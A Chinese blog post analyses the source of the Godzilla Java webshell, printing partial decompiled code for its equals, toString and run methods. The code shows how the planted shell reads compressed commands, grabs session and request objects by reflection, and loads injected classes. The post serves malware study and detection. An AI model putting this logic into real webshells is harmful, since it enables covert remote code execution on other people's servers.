现在是7月24号,回想起之前关于哥斯拉源码分析的文章其实还有颇多不足之处,做一点补充。之前已经提过了发送的指令数据如何封装发送。现在看看shell是怎么对指令做处理并且去执行的对应方法的。
在我们第一次注入进大马后,后续的指令发送,如果密码密钥之类的没问题,会走到下面逻辑
1 2 3 4 5 6 7 8 9
   | request.setAttribute("parameters", data);   java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();   Object f = ((Class) session.getAttribute("payload")).newInstance();   f.equals(arrOut);   f.equals(pageContext);   response.getWriter().write(md5.substring(0, 16));   f.toString();   response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));   response.getWriter().write(md5.substring(16));
  | 
 
f是注入的大马的实例,可以看到后续会调用其equals和toString方法。这里可不是判断相等和字符串输出的方法,而是自实现暗藏玄机的一段代码。在执行webshell管理器发送的指令起到了很关键的作用。
equals
没啥好说的,把收到的对象丢到handle函数处理。
1 2 3 4 5 6 7 8
   | public boolean equals(Object obj) {       if (obj != null && this.handle(obj)) {           this.noLog(this.servletContext);           return true;       } else {           return false;       }   }
  | 
 
handle
因此重心可以放在handle方法,这个方法用于处理和分发传入的不同对象类型。class$1没有显示初始化,因此可以用默认值看待,对于Class默认值应该是null。
这个是判断传入的对象是否是ByteArrayOutputStream类型,如果是的话,就将传入的对象赋值给该大马的outputStream成员变量。不是的话进入另外的分支。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | public boolean handle(Object obj) {       if (obj == null) {           return false;       } else {           Class var10000 = class$1;           if (var10000 == null) {               try {                   var10000 = Class.forName("java.io.ByteArrayOutputStream");               } catch (ClassNotFoundException var7) {                   throw new NoClassDefFoundError(((Throwable)var7).getMessage());               }                  class$1 = var10000;           }              if (var10000.isAssignableFrom(obj.getClass())) {               this.outputStream = (ByteArrayOutputStream)obj;               return false;           } 	...... }
  | 
 
走到上述代码的else分支语句中,涉及到了另一个方法,supportClass。这部分主要是检测传入的obj是否属于下面四个类,jakarta是为了tomcat10+版本做适配:
- javax.servlet.http.HttpServletRequest
 
- jakarta.servlet.http.HttpServletRequest
 
- javax.servlet.ServletRequest
 
- jakarta.servlet.ServletRequest
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
   | public boolean handle(Object obj){ 	...... 	else{ 		if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")){  		    this.servletRequest = obj;   		} else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {   		    this.servletRequest = obj;   		} 		...... 	} 	...... }
  private boolean supportClass(Object obj, String classNameString) {       if (obj == null) {           return false;       } else {           boolean ret = false;           Class c = null;              try {               if ((c = getClass(String.format(classNameString, "javax"))) != null) {                   ret = c.isAssignableFrom(obj.getClass());               }                  if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) {                   ret = c.isAssignableFrom(obj.getClass());               }           } catch (Exception var6) {           }              return ret;       }   }
  | 
 
如果上面四个类都没命中,就进入else语句,这里和刚刚一样class$0默认值为null,因此开始会将其和var10000赋值为字节数组的Class对象。所以后续匹配就是匹配obj是否为byte[]。如果是的话,就将obj赋值给当前大马的requestData成员变量。不是的话还会再次调用supportClass方法,去匹配java.servlet.http.HttpSession和jakarta.servlet.http.HttpSession这两个类。命中的话赋值给当前大马的httpSession成员变量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | else {       var10000 = class$0;       if (var10000 == null) {           try {               var10000 = Class.forName("[B");           } catch (ClassNotFoundException var6) {               throw new NoClassDefFoundError(((Throwable)var6).getMessage());           }              class$0 = var10000;       }          if (var10000.isAssignableFrom(obj.getClass())) {           this.requestData = (byte[])obj;       } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {           this.httpSession = obj;       }
  	this.handlePayloadContext(obj); }
  | 
 
这里匹配完会会调用handlePayloadContext方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | private void handlePayloadContext(Object obj) {       try {           Method getRequestMethod = this.getMethodByClass(obj.getClass(), "getRequest", (Class[])null);           Method getServletContextMethod = this.getMethodByClass(obj.getClass(), "getServletContext", (Class[])null);           Method getSessionMethod = this.getMethodByClass(obj.getClass(), "getSession", (Class[])null);           if (getRequestMethod != null && this.servletRequest == null) {               this.servletRequest = getRequestMethod.invoke(obj, (Object[])null);           }              if (getServletContextMethod != null && this.servletContext == null) {               this.servletContext = getServletContextMethod.invoke(obj, (Object[])null);           }              if (getSessionMethod != null && this.httpSession == null) {               this.httpSession = getSessionMethod.invoke(obj, (Object[])null);           }       } catch (Exception var5) {       }      }
  | 
 
这个方法是进一步获取其他环境信息,获取反射获取传入obj的getRequest、getServletContext、getSession属性,如果存在的话并且当前成员变量对应的值是null,那就赋值给成员变量。
比如在tomcat8就有如下调用,如果obj传入的是pageContext,就可以获取当前环境的HttpSession、ServletRequest和ServletContext,其他的也类似。
1 2 3 4 5 6 7 8
   | request.getSession();   request.getServletContext();      session.getServletContext();      pageContext.getRequest();   pageContext.getSession();   pageContext.getServletContext();
   | 
 
接着下面代码看起来很长,实际就是如果有成员变量servletRequest,并且requestData为null。就去通过反射调用servletRequest.getAttribute(“parameters”)方法,如果返回的结果是字节数组,就将其赋值给requestData。
实际上就就是为了获取传入的data,因为还记得最开始提到shell的第一段代码是什么吗,正是request.setAttribute(“parameters”, data);。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
   | if (this.servletRequest != null && this.requestData == null) {       Object var10001 = this.servletRequest;       Class[] var10003 = new Class[1];       Class var10006 = class$2;       if (var10006 == null) {           try {               var10006 = Class.forName("java.lang.String");           } catch (ClassNotFoundException var5) {               throw new NoClassDefFoundError(((Throwable)var5).getMessage());           }              class$2 = var10006;       }          var10003[0] = var10006;       Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});       if (retVObject != null) {           var10000 = class$0;           if (var10000 == null) {               try {                   var10000 = Class.forName("[B");               } catch (ClassNotFoundException var4) {                   throw new NoClassDefFoundError(((Throwable)var4).getMessage());               }                  class$0 = var10000;           }              if (var10000.isAssignableFrom(retVObject.getClass())) {               this.requestData = (byte[])retVObject;           }       }   }
  | 
 
这样下来思路就很清晰了,直接通过两个equals将大马payload中五个变量就赋值了,outputStream就是arrOut,servletContext、servletRequest、httpSession可以通过pageContext反射调用方法获取,然后requestData也是通过反射获取servletRequest中小马中加进去的data。

toString
接着就是toString方法了。先看最前面,首先是判断outputStream是否为null,这个我们用equal设置了为arrOut,自然不是null,因此可以走进语句,这里在用GZIPOutputStream封装outputStream前后会调用initSessionMap和formatParameter方法。
1 2 3 4 5 6 7 8 9
   | public String toString() {       String returnString = null;       if (this.outputStream != null) {           try {               this.initSessionMap();               GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream);               this.formatParameter();   			...... }
  | 
 
initSessionMap
先看看initSessionMap,这个方法主要是初始化一个SessionMap用于处理后续session相关部分的管理。首先是判断sessionMap这个成员变量是否为null,这个自然是的,因为前面的equal操作是没有对sessionMap做赋值的。然后会调用getSessionAttribute方法,通过反射执行getAttribute方法获取名为sessionMap的属性值。
实际上session中的Attribute还是以Map的结构存储的,刚刚通过反射执行自然也是null,因为我们还没有往session中的这个Map设置键为sessionMap的数据。因此后面会调用setSessionAttribute方法,这个方法同样也是通过反射去执行session的setAttribute方法。添加一个一个键为sessionMap,值是new的一个HashMap对象,当然在此之前该新建的HashMap对象也设置到了sessionMap这个成员变量中了。后续再调用到该方法就可以通过getSessionAttribute获取sessionMap了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
   | private void initSessionMap() {       if (this.sessionMap == null) {           if (this.getSessionAttribute("sessionMap") != null) {               try {                   this.sessionMap = (HashMap)this.getSessionAttribute("sessionMap");               } catch (Exception var3) {               }           } else {               this.sessionMap = new HashMap();                  try {                   this.setSessionAttribute("sessionMap", this.sessionMap);               } catch (Exception var2) {               }           }              if (this.sessionMap == null) {               this.sessionMap = new HashMap();           }       }      }
  public Object getSessionAttribute(String keyString) {       if (this.httpSession != null) {           Object var10001 = this.httpSession;           Class[] var10003 = new Class[1];           Class var10006 = class$2;           if (var10006 == null) {               try {                   var10006 = Class.forName("java.lang.String");               } catch (ClassNotFoundException var2) {                   throw new NoClassDefFoundError(((Throwable)var2).getMessage());               }                  class$2 = var10006;           }              var10003[0] = var10006;           return this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{keyString});       } else {           return null;       }   }
  public void setSessionAttribute(String keyString, Object value) {       if (this.httpSession != null) {           Object var10001 = this.httpSession;           Class[] var10003 = new Class[2];           Class var10006 = class$2;           if (var10006 == null) {               try {                   var10006 = Class.forName("java.lang.String");               } catch (ClassNotFoundException var4) {                   throw new NoClassDefFoundError(((Throwable)var4).getMessage());               }                  class$2 = var10006;           }              var10003[0] = var10006;           var10006 = class$5;           if (var10006 == null) {               try {                   var10006 = Class.forName("java.lang.Object");               } catch (ClassNotFoundException var3) {                   throw new NoClassDefFoundError(((Throwable)var3).getMessage());               }                  class$5 = var10006;           }              var10003[1] = var10006;           this.getMethodAndInvoke(var10001, "setAttribute", var10003, new Object[]{keyString, value});       }      }
  | 
 
接着还调用了formatParameter方法。首先清除parameterMap,避免上一次请求数据对本次请求有影响。然后将一些上下文相关的对象给设置进去,提供后续使用。
1 2 3 4 5 6 7 8
   | public void formatParameter() {       this.parameterMap.clear();       this.parameterMap.put("sessionMap", this.sessionMap);       this.parameterMap.put("servletRequest", this.servletRequest);       this.parameterMap.put("servletContext", this.servletContext);       this.parameterMap.put("httpSession", this.httpSession);       ...... }
  | 
 
接着定义了一些变量,parameterByte是给他赋值了requestData,也就是本次请求哥斯拉webshell管理器发送的请求体数据。然后将数据包装到了输入流tStream中,然后就是其余一些后续用的变量,后续看代码即可知道作用了。
1 2 3 4 5 6
   | byte[] parameterByte = this.requestData;   ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte);   ByteArrayOutputStream tp = new ByteArrayOutputStream();   String key = null;   byte[] lenB = new byte[4];   byte[] data = null;  
   | 
 
下面这部分就是解析数据流中的指令了。首先对输入流gzip解压,然后开始循环读取每个字节,如果读取到的字节是-1的话,就代表流结束,那么就结束资源退出循环。
如果读取到的字节是2,代表分隔符,就开始解析一个键值对。其实就是evalFunc的逆向解析过程。我曾在连接部分的末尾放出了一个逻辑代码,可能之前只是想单纯做个笔记,就没有仔细解释,实际上就是将指令存储在hashMap中,然后对每个key和value之间,会插入五个字节,其中第一个字节就是分隔符2了,其余四个字节代表存储的是value的长度。
因此解析请求数据时就可以先一直读取,直到分隔符2,就可以知道key读取到了,接着读取四个字节,计算value的字节长度,得到后就读这么长的数据,那么读到的就是value了。然后就可以继续下一个key和value,直到数据流的结束。读到的这些键值对都put进parameterMap变量中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | GZIPInputStream inputStream = new GZIPInputStream(tStream);      while(true) {       byte t = (byte)((InflaterInputStream)inputStream).read();       if (t == -1) {           tp.close();           tStream.close();           inputStream.close();           break;       }          if (t == 2) {           key = new String(tp.toByteArray());           ((FilterInputStream)inputStream).read(lenB);           int len = bytesToInt(lenB);           data = new byte[len];           int readOneLen = 0;              while((readOneLen += inputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) {           }              this.parameterMap.put(key, data);           tp.reset();       } else {           tp.write(t);       }   }
   | 
 
ok接着回到toString方法,evalNextData应该是和扩展的shell有关,一般扩展和插件都需要include指令,我推测这里单独的run方法就是为了执行incldue指令将自定义字节码加载进来,然后因为改动了sessionMap,用formatParameter重新格式化一下。
那么接下来就是去正常执行run方法了,这是根据解析出来的指令动态调用具体的shell方法的核心代码,然后返回执行的结果。
1 2 3 4 5 6 7 8 9
   | if (this.parameterMap.get("evalNextData") != null) {       this.run();       this.requestData = (byte[])this.parameterMap.get("evalNextData");       this.formatParameter();   }      ((FilterOutputStream)gzipOutputStream).write(this.run());   ((DeflaterOutputStream)gzipOutputStream).close();   this.outputStream.close();
  | 
 
run
首先从parameterMap中获取evalClassName和methodName的值,分别赋值给className和methodName,其中methodName不能为空,否则就直接返回method is null。
而如果className为空,那么就会去反射调用当前类的中的方法,具体的方法名由methodName指定。然后用getReturnType获取这个方法的返回值类型,如果是byte[],就调用方法并且返回结果,否则返回this method returnType not is byte[]的字节数组。
如果className不为空,就从sessionMap中获取对于的Class对象,然后newInstance实例化出来,接着调用其自实现的equals和toString方法。这里其实是在执行了include指令之后才会走到此处,include指令的功能是注入制定的字节码,很多插件扩展的功能的前置都是该指令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
   | public byte[] run() {       try {           String className = this.get("evalClassName");           String methodName = this.get("methodName");           if (methodName != null) {               if (className == null) {                   Method method = this.getClass().getMethod(methodName, (Class[])null);                   Class var12 = method.getReturnType();                   Class var10001 = class$0;                   if (var10001 == null) {                       try {                           var10001 = Class.forName("[B");                       } catch (ClassNotFoundException var6) {                           throw new NoClassDefFoundError(((Throwable)var6).getMessage());                       }                          class$0 = var10001;                   }                      return var12.isAssignableFrom(var10001) ? (byte[])method.invoke(this, (Object[])null) : "this method returnType not is byte[]".getBytes();               } else {                   Class evalClass = (Class)this.sessionMap.get(className);                   if (evalClass != null) {                       Object object = evalClass.newInstance();                       object.equals(this.parameterMap);                       object.toString();                       Object resultObject = this.parameterMap.get("result");                       if (resultObject != null) {                           Class var10000 = class$0;                           if (var10000 == null) {                               try {                                   var10000 = Class.forName("[B");                               } catch (ClassNotFoundException var7) {                                   throw new NoClassDefFoundError(((Throwable)var7).getMessage());                               }                                  class$0 = var10000;                           }                              return var10000.isAssignableFrom(resultObject.getClass()) ? (byte[])resultObject : "return typeErr".getBytes();                       } else {                           return new byte[0];                       }                   } else {                       return "evalClass is null".getBytes();                   }               }           } else {               return "method is null".getBytes();           }       } catch (Throwable e) {           ByteArrayOutputStream stream = new ByteArrayOutputStream();           PrintStream printStream = new PrintStream(stream);           e.printStackTrace(printStream);           printStream.flush();           printStream.close();           return stream.toByteArray();       }   }
  | 
 
以上就是本次全部内容,由于在工作之余完成,最近较忙可能有些纰漏和错误,思来想去还是发出来作为参考,如果有问题欢迎大家指正。后续如果有新的内容和改正的点也会在这里补充修改,。